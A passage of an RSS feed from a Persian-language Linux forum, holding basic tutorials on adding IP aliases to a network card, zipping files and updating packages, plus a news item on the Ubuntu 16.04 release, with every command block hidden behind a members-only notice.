<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس برای اضافه کردن ۳ ای پی به ۳ عدد پروفایل نیاز داریم. که معماری ای پی اصلی و دیگر ای پی ها بصورت زیر خواهد بود :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
جایی که x: قرار دارد مربوط به شماره NIC ماست (البته مجازی) مانند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
و الی اخر …<br />
 که البته ifcfg:eth0 کارت شبکه اصلی(primary) است …<br />
مجددا به دایرکتوری زیر رفته :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
و از فایل کانفیگ کارت شبکه سه کپی تهیه کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
فایل ifcfg-eth0 را باز کنید تا با متغییر های درون آن آشنا شوید:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<span style="font-weight: bold;" class="mycode_b"><span style="color: #008000;" class="mycode_color">نکته netmask و gateway مربوط به کارت شبکه و دیتاسنتر شماست و نیاز به تغییر ندارد.</span></span><br />
<br />
حالا تنها تغییرات ما برای اتمام کار ایجاد تغییر در ۲ متغییر IPADD و DEVICE است.<br />
حالا به ترتیب فایل ها را ویرایش می کنیم (میتوانید با ادیتور nano یا vi این فایل ها را باز کنید )<br />
<br />
<div style="text-align: left;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:0</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
<span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:1</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<div style="text-align: left;" class="mycode_align"><span style="font-weight: bold;" class="mycode_b">ifcfg-eth0:2</span><br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس از ذخیره تغییرات حالا باید سرویس network را ریستارت کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
حالا برای مطمئن شدن از درستی کانفیگ و اضافه شدن Ip ها از دستور ip یا ifconfig استفاده کنید و چک کنید که IP ها اضافه شده باشد:<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر از Ip های اضافه شده پینگ بگیرید باید پینگ برگرداند :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
خروجی بصورت زیر میباشد :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
پس از اطمینان از عملکرد Ip ها شما میتوانید از ان در اپاچی و ftp استفاده کنید.<br />
<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[فشرده سازی دایرکتوری و فایل در لینوکس]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1617</link>
			<pubDate>Sun, 09 Oct 2016 06:03:44 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=1">saberi</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1617</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">در این آموزش ما این عملیات را با ابزار zip در لینوکس انجام می دهیم. در ابتدا چک می کنیم که ایا این ابزار نصب شده است یا خیر :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر نصب نبود با دستور زیر این ابزار را نصب می کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<br />
بعد از نصب به سراغ کار با این ابزار میرویم.  برای زیپ کردن یک فایل میتوانید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور در دایرکتوری که حضور داریم فایل test را در فایل فشرده bk قرار میدهید. دقت کنید که میتوانید آدرس فایل را نیز وارد کنید .<br />
برای فشرده سازی یک دایرکتوری نیز از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور دایرکتوری file را با نام files.zip فشرده می کند.<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">در این آموزش ما این عملیات را با ابزار zip در لینوکس انجام می دهیم. در ابتدا چک می کنیم که ایا این ابزار نصب شده است یا خیر :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
اگر نصب نبود با دستور زیر این ابزار را نصب می کنیم :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
<br />
بعد از نصب به سراغ کار با این ابزار میرویم.  برای زیپ کردن یک فایل میتوانید از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور در دایرکتوری که حضور داریم فایل test را در فایل فشرده bk قرار میدهید. دقت کنید که میتوانید آدرس فایل را نیز وارد کنید .<br />
برای فشرده سازی یک دایرکتوری نیز از دستور زیر استفاده کنید :<br />
<br />
<div style="text-align: left;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
</div>
<br />
این دستور دایرکتوری file را با نام files.zip فشرده می کند.<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[چگونه در چند ثانیه تمام اپلیکیشن‌ ها را در لینوکس بروزرسانی کنیم]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1179</link>
			<pubDate>Sat, 23 Apr 2016 16:23:24 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=34">mesterweb</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1179</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align">لینوکس از جمله سیستم‌عامل‌هایی است که هر کسی از آن استفاده نمی‌کند. اما عاشقان این سیستم‌عامل شاید تمامی کارهای خود را با آن انجام دهند. در چنین شرایطی مطمئنا بروز بودن اپلیکیشن‌های نصب شده برای چنین افرادی ضروری به نظر می‌رسد. در این مطلب می‌خواهیم روش آپدیت یک یا همه نرم‌افزارهای نصب شده در لینوکس را با روشی بسیار آسان به شما آموزش دهیم.<br />
<br />
اینکه اپلیکیشن‌ها به صورت مدام درخواست بروزرسانی می‌کنند یکی از حقایق دنیای رایانه‌ها است. این بروزرسانی‌ها را نباید نادیده گرفت چراکه بسیاری از آن‌ها وصله‌هایی امنیتی هستند و نیز باعث رفع مشکلات و باگ‌های نرم افزاری می‌شوند. همچنین بروزرسانی‌ها باعث اضافه شدن امکانات جدیدی به اپلیکیشن‌ها شده و آن‌ها را کاربردی‌تر می‌‌کنند.<br />
 اکثر کاربران لینوکس روش بروزسانی دستی و معمول اپلیکیشن‌ها در این سیستم عامل را می‌دانند، اما شاید بخواهید با روشی سریع‌تر این کار را انجام دهید.<br />
<br />
شما می‌توانید با چند دستور ساده تمامی بخش‌های رایانه لینوکسی خود را بروزرسانی کنید. ابتدا ابزار خط فرمان را اجرا کرده و سپس دستورات زیر را عینا وارد کنید:<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
با اجرای دستور فوق، اپلیکیشن مورد نظر بررسی شده و در صورتی که آپدیتی برای آن‌ ارائه شده باشد، دانلود و نصب خواهد شد. دقت کنید که باید به جای package name here نام اپلیکیشن را وارد کنید. اگر شما نام بسته اپلیکیشن مورد نظرتان را نمی‌دانید، می‌توانید دستو زیر را اجرا کنید تا لیست نام پکیج تمامی اپلیکیشن‌های موجود در سیستم برایتان نمایان شود. | less به شما اجازه می‌دهد تا با کلید‌های جهتی صفحه کلید عمل اسکرول را انجام دهید.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
چند دستور دیگر هم وجود دارند که می‌توان از آن‌ها برای بهبود فرآیند آپدیت استفاده کرد. اگر می‌خواهید بروزرسانی تمامی اپلیکیشن‌ها را با هم انجام دهید ابتدا دستور زیر را اجرا کنید. این کار باعث می‌شود جدیدترین اطلاعات در مورد نرم‌افزارهای نصب شده در رایانه شما نمایان شود.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
پس از اجرای دستور بالا، دستور زیر را را وارد کنید تا همه نرم‌افزارهای نصب شده به جدیدترین نسخه آن‌ها بروزرسانی شوند. سیستم شما در این شرایط لیست تمامی مواردی که نیاز به بروزرسانی دارند را به شما نشان می‌دهد و از شما درخواست می‌کند فرآیند را تایید کنید. برای تایید این پروسه باید حرف Y را تایپ کنید.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
به همین راحتی شما توانستید از طریق ابزار خط فرمان لینوکس، تمامی اپلیکیشن‌های خود را بروزرسانی کنید.<br />
بنظر شما بروزرسانی اپلیکیشن‌ها در لینوکس تا چه حد ضروری است؟ آیا روش‌های دیگری را برای آپدیت کردن نرم افزارهای لینوکسی می‌شناسید؟</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align">لینوکس از جمله سیستم‌عامل‌هایی است که هر کسی از آن استفاده نمی‌کند. اما عاشقان این سیستم‌عامل شاید تمامی کارهای خود را با آن انجام دهند. در چنین شرایطی مطمئنا بروز بودن اپلیکیشن‌های نصب شده برای چنین افرادی ضروری به نظر می‌رسد. در این مطلب می‌خواهیم روش آپدیت یک یا همه نرم‌افزارهای نصب شده در لینوکس را با روشی بسیار آسان به شما آموزش دهیم.<br />
<br />
اینکه اپلیکیشن‌ها به صورت مدام درخواست بروزرسانی می‌کنند یکی از حقایق دنیای رایانه‌ها است. این بروزرسانی‌ها را نباید نادیده گرفت چراکه بسیاری از آن‌ها وصله‌هایی امنیتی هستند و نیز باعث رفع مشکلات و باگ‌های نرم افزاری می‌شوند. همچنین بروزرسانی‌ها باعث اضافه شدن امکانات جدیدی به اپلیکیشن‌ها شده و آن‌ها را کاربردی‌تر می‌‌کنند.<br />
 اکثر کاربران لینوکس روش بروزسانی دستی و معمول اپلیکیشن‌ها در این سیستم عامل را می‌دانند، اما شاید بخواهید با روشی سریع‌تر این کار را انجام دهید.<br />
<br />
شما می‌توانید با چند دستور ساده تمامی بخش‌های رایانه لینوکسی خود را بروزرسانی کنید. ابتدا ابزار خط فرمان را اجرا کرده و سپس دستورات زیر را عینا وارد کنید:<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
با اجرای دستور فوق، اپلیکیشن مورد نظر بررسی شده و در صورتی که آپدیتی برای آن‌ ارائه شده باشد، دانلود و نصب خواهد شد. دقت کنید که باید به جای package name here نام اپلیکیشن را وارد کنید. اگر شما نام بسته اپلیکیشن مورد نظرتان را نمی‌دانید، می‌توانید دستو زیر را اجرا کنید تا لیست نام پکیج تمامی اپلیکیشن‌های موجود در سیستم برایتان نمایان شود. | less به شما اجازه می‌دهد تا با کلید‌های جهتی صفحه کلید عمل اسکرول را انجام دهید.<br />
<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
چند دستور دیگر هم وجود دارند که می‌توان از آن‌ها برای بهبود فرآیند آپدیت استفاده کرد. اگر می‌خواهید بروزرسانی تمامی اپلیکیشن‌ها را با هم انجام دهید ابتدا دستور زیر را اجرا کنید. این کار باعث می‌شود جدیدترین اطلاعات در مورد نرم‌افزارهای نصب شده در رایانه شما نمایان شود.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
پس از اجرای دستور بالا، دستور زیر را را وارد کنید تا همه نرم‌افزارهای نصب شده به جدیدترین نسخه آن‌ها بروزرسانی شوند. سیستم شما در این شرایط لیست تمامی مواردی که نیاز به بروزرسانی دارند را به شما نشان می‌دهد و از شما درخواست می‌کند فرآیند را تایید کنید. برای تایید این پروسه باید حرف Y را تایپ کنید.<br />
<br />
<div style="text-align: center;" class="mycode_align"><span style="color: #ff3333;" class="mycode_color"><span style="font-weight: bold;" class="mycode_b">*محتوای این قسمت تنها برای اعضای انجمن قابل مشاهده می باشد. *</span></span></div>
<br />
به همین راحتی شما توانستید از طریق ابزار خط فرمان لینوکس، تمامی اپلیکیشن‌های خود را بروزرسانی کنید.<br />
بنظر شما بروزرسانی اپلیکیشن‌ها در لینوکس تا چه حد ضروری است؟ آیا روش‌های دیگری را برای آپدیت کردن نرم افزارهای لینوکسی می‌شناسید؟</div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[نسخه جدید 16.04 سیستم عامل اوبونتو منتشر شد]]></title>
			<link>https://forum.romaak.ir/showthread.php?tid=1177</link>
			<pubDate>Sat, 23 Apr 2016 16:17:25 +0000</pubDate>
			<dc:creator><![CDATA[<a href="https://forum.romaak.ir/member.php?action=profile&uid=34">mesterweb</a>]]></dc:creator>
			<guid isPermaLink="false">https://forum.romaak.ir/showthread.php?tid=1177</guid>
			<description><![CDATA[<div style="text-align: justify;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=952" loading="lazy"  alt="[تصویر:  do.php?img=952]" class="mycode_img" /></div>
<br />
جدیدترین نسخه پایدار و با پشتیبانی طولانی مدت سیستم عامل اوبونتو به تازگی منتشر شده است. در این مطلب به معرفی ویژگی‌های جدید و کلی این سیستم عامل گنو/لینوکسی خواهیم پرداخت.<br />
<br />
رابط کاربری این سیستم عامل یونیتی نام دارد و کمپانی توسعه دهنده آن نیز کنونیکال است. این پلتفرم بسیار سریع، امن و هزاران اپلیکیشن مختلف دارد. توسعه دهندگان اوبونتو معتقدند برای همه کار‌هایی که شما می‌خواهید با سیستم عامل خود انجام دهید، اوبونتو می‌تواند تمام نیاز‌های شما را رفع کند.<br />
اوبونتو در نسخه جدید با شماره ۱۶.۰۴ از کرنل ۴.۴ لینوکس استفاده می‌کند. فایرفاکس نسخه ۴۵٫۷ و تاندربرد ۳۸.۶ به صورت پیش‌فرض بر روی این سیستم عامل نصب شده‌اند. همچنین در این نسخه لیبرِآفیس ۵.۱ با بهبود‌هایی در بخش‌هایی مانند منو و نوار‌های کناری و همچنین اضافه شدن پشتیبانی از سرور‌های راه دور بروزرسانی شده است.<br />
در این نسخه از سیستم عامل کنونیکال حالا می‌توان به راحتی ۳۵ محیط توسعه مختلف را با Ubuntu Make نصب کرد. از دیگر بروزرسانی‌هایی که در این نسخه از سیستم عامل اوبونتو جای پیدا کرده می‌توان به پایتون ۳.۵، Golang 1.6، یونیتی ۷.۳.۲، Gtk 3.16.7، کیو‌ تی ۵.۴.۲ و در نهایت Compiz 0.9.12.1 اشاره کرد.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">تنوعی از اپلیکیشن‌های مورد نیاز</span><br />
اوبونتو نیز برای دانلود و مرور بین اپلیکیشن‌های مختلف یک استور مخصوص دارد که بسیاری از برنامه‌های آن به صورت رایگان و بسیار راحت قابل استفاده هستند.<br />
برای ارسال راحت پیام‌های متنی، اوبونتو تلگرام را به شما پیشنهاد می‌دهد که تمرکز آن روی امنیت و سرعت است. برای مرور و وبگردی وب‌سایت‌های مختلف می‌توانید از نسخه مخصوص سیستم عامل گنو/لینوکس مرورگر کروم استفاده کنید. برای ارسال و دریافت ایمیل، کلاینت تاندربرد را پیشنهاد می‌کند که از طرف موزیلا ساخته شده و قابلیت‌های شخصی سازی زیادی دارد. این کلاینت ایمیل از مایکروسافت اکسچنج، جیمیل، هات‌میل، پاپ یا IMAP پشتیبانی می‌کند.<br />
ویرایش فایل‌های آفیس را می‌توانید با لیبرِآفیس انجام دهید که با آفیس مایکروسافت نیز سازگار است. ابزار بسیار خوب ویرایش تصاویر Gimp را می‌توانید با این نرم‌افزار انجام دهید و پخش فایل‌های ویدیویی را با VLC انجام دهید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">ویرایش فایل‌های آفیس</span><br />
<br />
با LibreOffice می‌توانید اسناد حرفه‌ای، صفحات گسترده و ارائه‌های مختلفی بسازید. فرمت‌های خروجی و ورودی این برنامه‌ها نیز کاملا با برنامه‌های آفیس مایکروسافت هماهنگ است. به این معنی که می‌توانید فایل‌های وُرد، صفحات گسترده اکسل و ارائه‌های پاورپوینت را در این برنامه باز کنید و مشغول ویرایش آن‌ها شوید.<br />
امکان اشتراک گذاری اسنادی که ساخته‌اید نیز وجود دارد و همچنین می‌توانید مستقیم از طریق دسکتاپ از Google Docs استفاده کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">مشاهده فایل‌های تصویری و ویدیویی</span><br />
اوبونتو برنامه پیش‌فرض Shotwell را به شما پیشنهاد می‌دهد تا بتوانید سریع تصاویر را ایمپورت، مرتب‌سازی، ویرایش یا مشاهده کنید. با استفاده از این ابزار می‌توانید تصاویر مورد علاقه خود را بلافاصله درون وب‌سایت‌های مشهور اشتراک گذاری عکس و شبکه‌های اجتماعی به اشتراک بگذارید.<br />
<br />
همچنین ابزار Gimp در این سیستم عامل وجود دارد که اجازه ویرایش حرفه‌ای تصاویر همچون فتوشاپ را در اختیار شما قرار می‌دهد.<br />
ابزار کاربردی و بسیار مهم دیگر این پلتفرم Videos نام دارد که برای مشاهده فایل‌های ویدیویی استفاده می‌شود. می‌توانید فایل‌های ویدیویی خود را با PiTiVi ویرایش کنید و آن‌ها را با Movie Player یا VLC مشاهده کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">بازی</span><br />
بازی‌هایی مانند سودوکو و بازی‌های شوتر برای اوبونتو در دسترس هستند که می‌توانند ساعت‌ها شما را مشغول نگه دارند. برای مثال بازی‌های Dota 2 ،Civilization V ، Football Manager و Borderlands 2 را می‌توان نام برد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">جمع بندی<br />
</span><br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=953" loading="lazy"  alt="[تصویر:  do.php?img=953]" class="mycode_img" /></div>
<br />
یونیتی از ویژگی مخصوصی به نام Dash برخوردار است که اجازه جستجو بین انواع مختلف محتوای درون سیستم عامل و فضای وب را در اختیار شما قرار می‌دهد. بنابراین گشت و گذار بین فایل‌های مختلفی که در سیستم عامل خود دارید با این ابزار ویژه یونیتی بسیار آسان‌تر می‌شود.<br />
<br />
پس از دو سال انتظار بالاخره نسخه پایدار دیگر با پشتیبانی بلند مدت (LTS) از سیستم عامل اوبونتو منتشر شد. این نسخه از سیستم عامل اوبونتو را می‌توانید هم‌اکنون از وب‌سایت رسمی آن دریافت و نصب کنید.<br />
<br />
<br />
</div>]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;" class="mycode_align"><div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=952" loading="lazy"  alt="[تصویر:  do.php?img=952]" class="mycode_img" /></div>
<br />
جدیدترین نسخه پایدار و با پشتیبانی طولانی مدت سیستم عامل اوبونتو به تازگی منتشر شده است. در این مطلب به معرفی ویژگی‌های جدید و کلی این سیستم عامل گنو/لینوکسی خواهیم پرداخت.<br />
<br />
رابط کاربری این سیستم عامل یونیتی نام دارد و کمپانی توسعه دهنده آن نیز کنونیکال است. این پلتفرم بسیار سریع، امن و هزاران اپلیکیشن مختلف دارد. توسعه دهندگان اوبونتو معتقدند برای همه کار‌هایی که شما می‌خواهید با سیستم عامل خود انجام دهید، اوبونتو می‌تواند تمام نیاز‌های شما را رفع کند.<br />
اوبونتو در نسخه جدید با شماره ۱۶.۰۴ از کرنل ۴.۴ لینوکس استفاده می‌کند. فایرفاکس نسخه ۴۵٫۷ و تاندربرد ۳۸.۶ به صورت پیش‌فرض بر روی این سیستم عامل نصب شده‌اند. همچنین در این نسخه لیبرِآفیس ۵.۱ با بهبود‌هایی در بخش‌هایی مانند منو و نوار‌های کناری و همچنین اضافه شدن پشتیبانی از سرور‌های راه دور بروزرسانی شده است.<br />
در این نسخه از سیستم عامل کنونیکال حالا می‌توان به راحتی ۳۵ محیط توسعه مختلف را با Ubuntu Make نصب کرد. از دیگر بروزرسانی‌هایی که در این نسخه از سیستم عامل اوبونتو جای پیدا کرده می‌توان به پایتون ۳.۵، Golang 1.6، یونیتی ۷.۳.۲، Gtk 3.16.7، کیو‌ تی ۵.۴.۲ و در نهایت Compiz 0.9.12.1 اشاره کرد.<br />
<br />
<br />
<span style="font-weight: bold;" class="mycode_b">تنوعی از اپلیکیشن‌های مورد نیاز</span><br />
اوبونتو نیز برای دانلود و مرور بین اپلیکیشن‌های مختلف یک استور مخصوص دارد که بسیاری از برنامه‌های آن به صورت رایگان و بسیار راحت قابل استفاده هستند.<br />
برای ارسال راحت پیام‌های متنی، اوبونتو تلگرام را به شما پیشنهاد می‌دهد که تمرکز آن روی امنیت و سرعت است. برای مرور و وبگردی وب‌سایت‌های مختلف می‌توانید از نسخه مخصوص سیستم عامل گنو/لینوکس مرورگر کروم استفاده کنید. برای ارسال و دریافت ایمیل، کلاینت تاندربرد را پیشنهاد می‌کند که از طرف موزیلا ساخته شده و قابلیت‌های شخصی سازی زیادی دارد. این کلاینت ایمیل از مایکروسافت اکسچنج، جیمیل، هات‌میل، پاپ یا IMAP پشتیبانی می‌کند.<br />
ویرایش فایل‌های آفیس را می‌توانید با لیبرِآفیس انجام دهید که با آفیس مایکروسافت نیز سازگار است. ابزار بسیار خوب ویرایش تصاویر Gimp را می‌توانید با این نرم‌افزار انجام دهید و پخش فایل‌های ویدیویی را با VLC انجام دهید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">ویرایش فایل‌های آفیس</span><br />
<br />
با LibreOffice می‌توانید اسناد حرفه‌ای، صفحات گسترده و ارائه‌های مختلفی بسازید. فرمت‌های خروجی و ورودی این برنامه‌ها نیز کاملا با برنامه‌های آفیس مایکروسافت هماهنگ است. به این معنی که می‌توانید فایل‌های وُرد، صفحات گسترده اکسل و ارائه‌های پاورپوینت را در این برنامه باز کنید و مشغول ویرایش آن‌ها شوید.<br />
امکان اشتراک گذاری اسنادی که ساخته‌اید نیز وجود دارد و همچنین می‌توانید مستقیم از طریق دسکتاپ از Google Docs استفاده کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">مشاهده فایل‌های تصویری و ویدیویی</span><br />
اوبونتو برنامه پیش‌فرض Shotwell را به شما پیشنهاد می‌دهد تا بتوانید سریع تصاویر را ایمپورت، مرتب‌سازی، ویرایش یا مشاهده کنید. با استفاده از این ابزار می‌توانید تصاویر مورد علاقه خود را بلافاصله درون وب‌سایت‌های مشهور اشتراک گذاری عکس و شبکه‌های اجتماعی به اشتراک بگذارید.<br />
<br />
همچنین ابزار Gimp در این سیستم عامل وجود دارد که اجازه ویرایش حرفه‌ای تصاویر همچون فتوشاپ را در اختیار شما قرار می‌دهد.<br />
ابزار کاربردی و بسیار مهم دیگر این پلتفرم Videos نام دارد که برای مشاهده فایل‌های ویدیویی استفاده می‌شود. می‌توانید فایل‌های ویدیویی خود را با PiTiVi ویرایش کنید و آن‌ها را با Movie Player یا VLC مشاهده کنید.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">بازی</span><br />
بازی‌هایی مانند سودوکو و بازی‌های شوتر برای اوبونتو در دسترس هستند که می‌توانند ساعت‌ها شما را مشغول نگه دارند. برای مثال بازی‌های Dota 2 ،Civilization V ، Football Manager و Borderlands 2 را می‌توان نام برد.<br />
<br />
<span style="font-weight: bold;" class="mycode_b">جمع بندی<br />
</span><br />
<div style="text-align: center;" class="mycode_align"><img src="http://romaak.ir/up/do.php?img=953" loading="lazy"  alt="[تصویر:  do.php?img=953]" class="mycode_img" /></div>
<br />
یونیتی از ویژگی مخصوصی به نام Dash برخوردار است که اجازه جستجو بین انواع مختلف محتوای درون سیستم عامل و فضای وب را در اختیار شما قرار می‌دهد. بنابراین گشت و گذار بین فایل‌های مختلفی که در سیستم عامل خود دارید با این ابزار ویژه یونیتی بسیار آسان‌تر می‌شود.<br />
<br />
پس از دو سال انتظار بالاخره نسخه پایدار دیگر با پشتیبانی بلند مدت (LTS) از سیستم عامل اوبونتو منتشر شد. این نسخه از سیستم عامل اوبونتو را می‌توانید هم‌اکنون از وب‌سایت رسمی آن دریافت و نصب کنید.<br />
<br />
<br />
</div>]]></content:encoded>
		</item>
	</channel>
</rss>